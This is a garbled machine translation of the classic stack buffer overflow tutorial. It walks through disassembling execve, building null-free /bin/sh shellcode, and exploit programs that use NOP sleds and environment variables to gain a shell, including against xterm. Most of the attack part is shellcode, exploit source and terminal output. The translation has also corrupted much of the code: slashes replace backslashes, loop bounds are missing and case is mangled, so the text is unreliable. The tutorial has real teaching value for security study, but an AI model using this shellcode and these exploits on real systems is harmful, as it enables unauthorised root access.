GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: SUBL $ 0x8,% ESP

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

0x800013D

: MOVL $ 0x0, 0xffffffffc (% EBP)

0x8000144

: Pushl $ 0x0

0x8000146

: LEAL 0xfffffffff8 (% EBP),% EAX

0x8000149

: pushl% EAX

0x800014a

: movl 0xfffffff8 (% EBP),% EAX

0x800014D

: pushl% EAX0X800014E
: CALL 0x80002BC <__ EXECVE>

0x8000153

: addl $ 0xc,% ESP

0x8000156

: MOVL% EBP,% ESP

0x8000158

: POPL% EBP

0x8000159

: RET

End of assembler dump.

(GDB) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__ execve 3>: Pushl% EBX

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

0x80002CE <__ execve 18>: int $ 0x80

0x80002d0 <__ execve 20>: MOVL% EAX,% EDX

0x80002d2 <__ execve 22>: Testl% EDX,% EDX

0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>

0x80002d6 <__ execve 26>: NEGL% EDX

0x80002d8 <__ execve 28>: Pushl% EDX

0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location>

0x80002de <__ execve 34>: POPL% EDX

0x80002df <__ execve 35>: MOVL% EDX, (% EAX)

0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX

0x80002e6 <__ execve 42>: POPL% EBX

0x80002e7 <__ execve 43>: MOVL% EBP,% ESP

0x80002e9 <__ execve 45>: POPL% EBP

0x80002ea <__ execve 46>: RET

0x80002eb <__ execve 47>: NOP

End of assembler dump.

-------------------------------------------------- ---------------------------- Let's take a look at what happened here. First start research from main:

-------------------------------------------------- ----------------------------

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: SUBL $ 0x8,% ESP

This is the preparation of routines. First save the old frame pointer, use the current stack pointer as a new frame pointer,

Then keep space for local variables. Here is:

Char * name [2];

That is, two pointers of the string. The length of the pointer is a word, so it retains 2 words (8 bytes)

space.

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

We copied 0x80027B8 (string "/ bin / sh") this value to the first pointer in Name [], this

Equivalent to:

Name [0] = "/ bin / sh";

0x800013D

: MOVL $ 0x0, 0xffffffffc (% EBP)

We copy value 0x0 (null) to the second pointer in Name [], which is equivalent to:

Name [1] = NULL;

Reactive call to execve () begins with below:

0x8000144

: Pushl $ 0x0

We put the parameters of Execve () in the stack in the backward order, starting from NULL.

0x8000146

: LEAL 0xfffffffff8 (% EBP),% EAX

Place the address of the Name [] in the EAX register.

0x8000149

: pushl% EAX

Then press the Name [] address in the stack.

0x800014a

: movl 0xfffffff8 (% EBP),% EAX

Put the address "/ bin / sh" address in the EAX register

0x800014D

: pushl% EAX

Then, press the address "/ bin / sh" address into the stack.

0x800014e

: CALL 0x80002BC <__ EXECVE>

Call the library routine execve (). This call instruction presses the IP (instruction pointer) into the stack.

-------------------------------------------------- ----------------------------

Now to Execve (). Note that we use Intel-based Linux system. The details of the system call

The operating system and the CPU are different. Some put the parameters into the stack, some save it in the register. Some use

Soft interrupt jump into the kernel mode, some use far call. Linux saves the parameters sent to the system call

In the register, and use a soft interrupt to jump into the kernel mode.

-------------------------------------------------- ----------------------------

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__EXECVE 3>: Pushl% EBX routine preparation work.

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

Put 0xB (decimal 11) into the register EAX (original text). 0xB is the index of the system call table

11 is Execve.

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

Place the address of "/ bin / sh" in the register EBX.

0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX

Place the address of the Name [] in the register ECX.

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

Place the address of the empty pointer into the register EDX.

0x80002CE <__ execve 18>: int $ 0x80

Enter the kernel mode.

-------------------------------------------------- ----------------------------

It can be seen that there is nothing more job to do, and all things to do are summarized as follows:

a) Place the string "/ bin / sh" ending with NULL to somewhere.

b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word)

.

c) Put 0xB in the register EAX.

d) Place the address of the string "/ bin / sh" to the register EBX.

e) Place the address of the string "/ bin / sh" address to the register ECX.

(Note: Original D and E step reverse EBX and ECX)

f) Place the address of the empty word into the register EDX.

g) Execute the instruction Int $ 0x80.

But if the execve () calls for some reason, what is the failure? The program will continue to read the instruction from the stack.

At this time, the stack may contain a random data! The program performs such an instruction for ten eight-nine will be dump. If Execv

e

Call failed us still want the program to be cleanly exited. To this end, add an exit after calling Execve

System call. EXIT system calls look like what is the assembly language?

Exit.c

-------------------------------------------------- ----------------------------

#include

Void main () {

exit (0);

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exit -static exit.c

[ALEPH1] $ GDB EXIT

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(No Debugging Symbols Found) ... (GDB) Disassemble_exit

Dump of assembler code for function _exit:

0x800034C <_exit>: Pushl% EBP

0x800034D <_exit 1>: MOVL% ESP,% EBP

0x800034F <_exit 3>: pushl% EBX

0x8000350 <_exit 4>: MOVL $ 0x1,% EAX

0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX

0x8000358 <_exit 12>: INT $ 0X80

0x800035A <_exit 14>: MOVL 0xFffffFFFC (% EBP),% EBX

0x800035D <_exit 17>: MOVL% EBP,% ESP

0x800035f <_exit 19>: POPL% EBP

0x8000360 <_exit 20>: RET

0x8000361 <_exit 21>: NOP

0x8000362 <_exit 22>: NOP

0x8000363 <_exit 23>: NOP

End of assembler dump.

-------------------------------------------------- ----------------------------

The system calls EXIT will put the 0x1 in the register EAX, place an exit code in EBX, and perform "INT 0x80".

Just these! Most applications returns 0 when exiting, indicating that there is no error. We also put them in EBX.

The steps in our construct shell code are this:

a) Place the string "/ bin / sh" ending with NULL to somewhere.

b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word)

.

c) Put 0xB in the register EAX.

d) Place the address of the string "/ bin / sh" to the register EBX.

e) Place the address of the string "/ bin / sh" address to the register ECX.

(Note: Original D and E step reverse EBX and ECX)

f) Place the address of the empty word into the register EDX.

g) Execute the instruction Int $ 0x80.

h) Put 0x1 in the register EAX.

i) Place 0x0 in the register EAX.

j) Execute the instruction Int $ 0x80.

Try to turn these steps into assembly language, put the string behind the code. Don't forget to put on the string behind the array

Address and empty words, we have the following code:

-------------------------------------------------- ----------------------------

MOVL STRING_ADDR, STRING_ADDR_ADDR

MOVB $ 0x0, NULL_BYTE_ADDR

Movl $ 0x0, NULL_ADDR

MOVL $ 0XB,% EAX

MOVL STRING_ADDR,% EBX

LEAL STRING_ADDR,% ECX

LEAL NULL_STRING,% EDX

INT $ 0x80

MOVL $ 0x1,% EAX

MOVL $ 0x0,% EBX

INT $ 0x80

/ BIN / SH STRING GoES here.

-------------------------------------------------- ---------------------------- The problem is that we don't know in the memory space of the program to be crackdown, after the following String) will be put

Where. One solution is to use JMP and CALL instructions. JMP and Call instructions use relative IP addressing methods,

It is to say that we can jump to a certain location where the current IP is always spacing, and it is not necessary to know the exact location in the memory.

Address. If we put a call instruction before the string "/ bin / sh" and turn it on a CALL instruction by a JMP instruction.

When the CALL is executed, the address of the string is pressed into the stack as the return address. What we need is

Place the return address in a register. The CALL instruction only calls our above the code described. Assume J Generation

Table JMP instructions, C represents the CALL instruction, S represents a string, and the execution process is as follows:

Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high

Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address

Buffer SFP RET A B C

<------ [jjssssssssssssccccss] [SSSS] [0xD8] [0x01] [0x02] [0x03]

^ | ^ ^ | |

||| _____________ || ____________ | (1)

(2) || _____________ ||

| ______________ | (3)

Stack top stack bottom

Use the above correction methods and use relative index addressing, the number of the bytes of each instruction in our code is as follows:

-------------------------------------------------- ----------------------------

JMP offset-to-call # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, Array-Offset (% ESI) # 3 bytes

Movb $ 0x0, NullByteoffset (% ESI) # 4 bytes

Movl $ 0x0, Null-Offset (% ESI) # 7 Bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal array-offset (% esi),% ECX # 3 bytes

Leal Null-Offset (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call offset-to-popl # 5 bytes

/ BIN / SH STRING GoES here.

-------------------------------------------------- ----------------------------

By calculating from JMP to CALL, from Call to POPL, from the string address to an array, from the string address to the empty word

Garage, we get:

-------------------------------------------------- ---------------------------- JMP 0x26 # 2 Bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

MOVB $ 0x0,0x7 (% esi) # 4 bytes

MOVL $ 0x0,0xc (% esi) # 7 bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call -0x2b # 5 bytes

.string / "/ bin / sh /" # 8 bytes

-------------------------------------------------- ----------------------------

This looks very good. To ensure that the code can work properly, you must compile and execute. But there is still a problem.

Our code modifies itself, but most operating systems mark the code page as read-only. In order to bypass this limit

The code to be executed must be put in the stack or data segment, and the control is transferred there. To this, you should put the code to the number

According to the global array in the segment. We first need the binary code indicated by 16 credits. First compile, then use GDB

Come to get binary code.

Shellcodeasm.c

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x2a # 3 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

MOVB $ 0x0,0x7 (% esi) # 4 bytes

MOVL $ 0x0,0xc (% esi) # 7 bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call -0x2f # 5 bytes

.string / "/ bin / sh /" # 8 bytes ");

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

[ALEPH1] $ GDB Shellcodeasm

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: jmp 0x800015f

0x8000135

: POPL% ESI

0x8000136

: MOVL% ESI, 0x8 (% ESI)

0x8000139

: MOVB $ 0x0,0x7 (% ESI)

0x800013D

: MOVL $ 0x0,0xc (% ESI)

0x8000144

: MOVL $ 0XB,% EAX

0x8000149

: MOVL% ESI,% EBX

0x800014B

: LEAL 0x8 (% ESI),% ECX

0x800014e

: LEAL 0XC (% ESI),% EDX

0x8000151

: INT $ 0X80

0x8000153

: MOVL $ 0x1,% EAX

0x8000158

: MOVL $ 0x0,% EBX

0x800015D

: INT $ 0X80

0x800015F

: Call 0x8000135

0x8000164

: DAS

0x8000165

: boundl 0x6e (% ECX),% EBP

0x8000168

: DAS

0x8000169

: jae 0x80001d3 <__ new_exitfn 55> 0x800016B
: addb% Cl, 0x55C35DEC (% ECX)

End of assembler dump.

(GDB) x / bx main 3

0x8000133

: 0xeb

(GDB)

0x8000134

: 0x2a

(GDB)

.

.

.

-------------------------------------------------- ----------------------------

Testsc.c

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00"

"/ X00 / XB8 / X0B / X00 / X00 / X00 / X4E / X08 / X8D / X56 / X0C / XCD / X80"

"/ XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF"

"/ xff / x2f / x62 / x69 / x6e / x2f / x73 / x68 / x00 / x89 / XEC / X5D / XC3";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ GCC -O Testsc Testsc.c

[aleph1] $ ./testsc

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

It became! But there is still an obstacle, in most cases, we all try to overflow a character buffer.

Then any NULL byte in our shellcode is considered to be the end of the string, and the copy work is here.

Stop. For our cracking, there is no null byte in shellcode. Below these bytes,

Simultaneously streamize the code.

Problem Instruction: Substitution with:

-------------------------------------------------- --------

MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX

Molv $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xc (% ESI)

-------------------------------------------------- --------

MOVL $ 0XB,% EAX MOVB $ 0XB,% Al

-------------------------------------------------- ------ MOVL $ 0x1,% EAX XORL% EBX,% EBX

MOVL $ 0x0,% EBX MOVL% EBX,% EAX

INC% EAX

-------------------------------------------------- --------

Our IMPROVED CODE:

Shellcodeasm2.c

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x1f # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

XORL% EAX,% EAX # 2 bytes

MOVB% EAX, 0x7 (% ESI) # 3 bytes

MOVL% EAX, 0xc (% esi) # 3 bytes

MovB $ 0XB,% Al # 2 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

XORL% EBX,% EBX # 2 Bytes

MOVL% EBX,% EAX # 2 bytes

INC% EAX # 1 bytes

INT $ 0x80 # 2 bytes

Call -0x24 # 5 bytes

.string / "/ bin / sh /" # 8 bytes

# 46 bytes Total

");

}

-------------------------------------------------- ----------------------------

And Our New Test Program:

Testsc2.c

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ---------------------------- [ALEPH1] $ GCC -O Testsc2 Testsc2.c

[aleph1] $ ./testsc2

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

Crack

~~~~~~~~~~

Now put the tools of your hand ready. We already have shellcode. We know that shellcode must be

Part of the overflowed string. We know that the return address must be referred to back to the buffer. The following example explains these points:

OVERFLOW1.C

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Char large_string [128];

Void main () {

Char buffer [96];

INT I;

Long * long_ptr = (long *) Large_String;

For (i = 0; i <32; i )

* (long_ptr i) = (int) BUFFER;

For (i = 0; i

Large_string [i] = shellcode [i];

STRCPY (Buffer, Large_String);

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exploit1 exploit1.c

[aleph1] $ ./exploit1

$ EXIT

exit

[aleph1] $

-------------------------------------------------- ----------------------------

As shown above, we fill the Large_String [] array with the address of the buffer [], and shellcode will be

Buffer []. Then we copy shellcode to the beginning of the large_string string. Strcpy () does not make

He border check copies large_string to the buffer and overrides the return address. Now return address

It is our starting position of our shellcode. Once execute to the end of the main function, you will jump to me when trying to return.

A shell is obtained in the shellcode.

What we face is: How to determine this when trying to overflow another program's buffer overflow

Where is the address of the buffer (will have our shellcode)? The answer is: for each program, the start address of the stack

They are all identical. Most programs do not press into the stack into a hundred thousand bytes of data. So I know the stack.

The start address, we can try to guess this buffer that makes it overflowing. The following applet will print

Its stack pointer:

Sp.c

-------------------------------------------------- ----------------------------------------------------------------- "

__ASM __ ("MOVL% ESP,% EAX");

}

Void main () {

Printf ("0x% x / n", get_sp ());

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[aleph1] $ ./sp

0x8000470

[aleph1] $

-------------------------------------------------- ----------------------------

Assume that we have to overflow their overflows as follows:

Vulnerable.c

-------------------------------------------------- ----------------------------

Void Main (int Argc, char * argv []) {

Char buffer [512];

IF (Argc> 1)

STRCPY (Buffer, Argv [1]);

}

-------------------------------------------------- ----------------------------

We create a program to accept two parameters, one is the buffer size, the other is from its own stack pointer

The offset (this stack pointer indicates the location where we want to overflow the buffer). We put overflow characters

Stroke is plan into an environment variable so it is easy to operate.

Exploit2.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = 4;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Now we try to guess the size and offset of the buffer:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit2 500

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

Illegal instruction

[ALEPH1] $ EXIT

[aleph1] $ ./exploit2 600 100

Using address: 0xBffffd4c

[ALEPH1] $ ./vulnerable $ EGG

Segmentation Fault

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600 200

USING Address: 0xBfffffCe8

[ALEPH1] $ ./vulnerable $ EGG

Segmentation Fault

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit2 600 1564

USING Address: 0xBfffff794

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ----------------------------

As we see, this is not a very efficient process. Even if you know the start address of the stack, taste

Try guessed offset is almost impossible. We are likely to test hundreds of times, may not be allowed to be allowed to say. Question

The key is that we must * exact * know the address starting at our code. If the deviation evens only one byte we

You can only get paragraph error or illegal instruction errors. One way to improve the success rate is to fill in the front section of our overflow buffer

Charge NOP instruction. Almost all processors have NOP instructions to perform empty operations. Common for delay purposes. We use it

Fill the first half of the overflow buffer. Then put the shellcode in the middle section, followed by returning the address. If we are enough

Fortunately, return the address to any location to the NOPS string, the NOP instruction will execute until we have encountered our

SHELLCODE. In the Intel architecture, only one byte length is one byte, translation as machine code is 0x90. Assume the stack

The start address is 0xFF, S represents shellcode, n represents NOP instructions, the new stack looks like this:

Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high

Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF AddER BUFFER SFP RET A B C

<------ [nnnnnnnnnnssssssssssss] [0xde] [0xde] [0xde] [0xDe] [0xDE]

^ | |

| _____________________ |

Stack top stack bottom

The new crack program is as follows:

Exploit3.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

For (i = 0; i

BUFF [I] = NOP;

PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2);

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ---------------------------- The buffer size we use is preferably 100 bytes larger than the buffer to overflow. We are going to make it

Place shellcode at the end of the spilled buffer, leave enough space for the NOP instruction, still use the address we speculate

To override the return address. Here we want to overflow the buffer size of 512 bytes, so we use 612 bytes.

Now use a new crack program to overflow our test program:

-------------------------------------------------- ----------------------------

[aleph1] $ ./exploit3 612

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ----------------------------

Wow! One hit! This improvement has improved our hit rate. Try one in a real environment.

The down buffer overflows. Use the method we told on the XT library. In the example, we use XTERM (actually all

The programs connected to the XT library have a vulnerability). To run x server on your computer and allow local connections.

Set the Display variable.

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit3 1124

Using address: 0xBffffdb4

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "隵 1F

°

Bamboo

? @ よ? IN / SHI い い い い い い い い い い い い い い い い い い い い

IM I I didn't buy it.

(Truncated this is truncated)

い い い い い い い い?

^ C

[ALEPH1] $ EXIT

[aleph1] $ ./exploit3 2148 100

Using address: 0xBffffd48

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "隵 1F

°

Bamboo

? へ @ よ? IN / SH

Bamboo

(Truncated this is truncated)

縃縃arning: Some Arguments in Previous Message Were Lost

Illegal instruction

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit4 2148 600

Using address: 0xBffffb54

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "隵 1F

°

Bamboo

? へ @ よ? IN / sh 鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗

鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗?

(Truncated this is truncated)

縏鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 Arning: Some Arguments in Previous Message Were Lost

Bash $

-------------------------------------------------- ----------------------------

Eureka! Just try to try it only! If xterm is installed with Suid Root, we have got a root shell.

Overflow of the small buffer

~~~~~~~~~~~~~~~~

Sometimes it is too small to overflow a buffer, so that shellcode can't go in, so return the address.

Will be covered by the instead of the address we speculate, or shellcode is put in, but it can't fill it.

Sufficient NOP instructions, which speculates that the success rate of the address is very low. To get from this program (small buffer)

A shell, we must think other ways. This method introduced will only be able to access the program's environment variable

Effective.

What we do is put shellcode in an environment variable, then use this variable to address the address in memory.

Make the buffer overflow. This method also improves the success rate of cracking work, because the environment of saving shellcode

How big is it necessary to want to do it?

When the program starts, the environment variable is stored at the top of the stack, and any modification action using STENV () will be in other

The place to reassign space. The stack at the beginning is as follows:

null NULL

Our new program uses an additional variable, the variable size can accommodate Shellcode and NOP instructions.

The new crack program is as follows:

Exploit4.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_esp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * ptr, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, Eggsize = Default_EGG_SIZE;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (Argc> 3) Eggsize = ATOI (Argv [3]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_ESP () - offset; Printf ("Using Address: 0x% x / n", addr;

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; I

* (PTR ) = NOP;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BUFF, "RET =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Try our vulnerability test program with this new crack program:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit4 768

USING Address: 0xBfffFDB0

[ALEPH1] $ ./vulnerable $ RET

$

-------------------------------------------------- ----------------------------

Successful, try xterm:

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit4 2148

USING Address: 0xBfffFDB0

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ retent

Warning: Color Name

"Hey greeten gain greeten to be greeten

Hey greeten to hey

(Truncated this is truncated)

Gutter

Warning: Some Arguments in Previous Message Were Lost

$

-------------------------------------------------- ----------------------------

One success! It significantly improved our success rate. Relying on cracking procedures and comparing environmental data

How much, the address we speculate may also be higher than true value. Positive and negative offset can be tried.

Looking for buffer overflow vulnerabilities

~~~~~~~~~~~~~~~~~~~~~

As mentioned earlier, the buffer overflow is a result of filling information that exceeds its processing capability to a buffer. Due to C

There is no built-in boundary check, when writing a character array, if it exceeds the end of the array, it will overflow.

Out. The standard C language library provides some string replication or add functions without boundaries. Including strcat (),

Strcpy (), sprintf (), and vsprintf (). These functions are operated on a string end of a NULL and do not check the overflow. The gets () function reads a row into the buffer from the standard input until the wrap or It is not

Check the buffer overflow. Scanf () function family matches a series of non-spaced characters (% s), or from the specified collection (% [])

When using non-empty series characters, use the character pointer to the array, and no maximum field width this option,

There may be a problem. If the destination address of these functions is a fixed size buffer, the other parameter of the function is

The user is entered in some form, it is likely to use the buffer overflow to crack it.

Another common programming structure is to read a character from a standard input or a file using the While cycle.

In the buffer, until the end of the line or the end, or what other termination is encountered. This structure usually uses GETC (),

One of the fgetc (), or getchar () function. If there is no clear overflow check in the While loop, this process

The order is very easy to be crack.

This shows that grep (1) is a good tool command (helping you find a vulnerability in the program). Free exercise

The source code for the system and its tools is readable. When you realize that there are actually a lot of business operating system tools and free software

When the same source code is the same, the rest is simple! :-)

Appendix A - SHELLCODE for different operating systems / architectures

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386 / linux

-------------------------------------------------- ----------------------------

JMP 0x1f

POPL% ESI

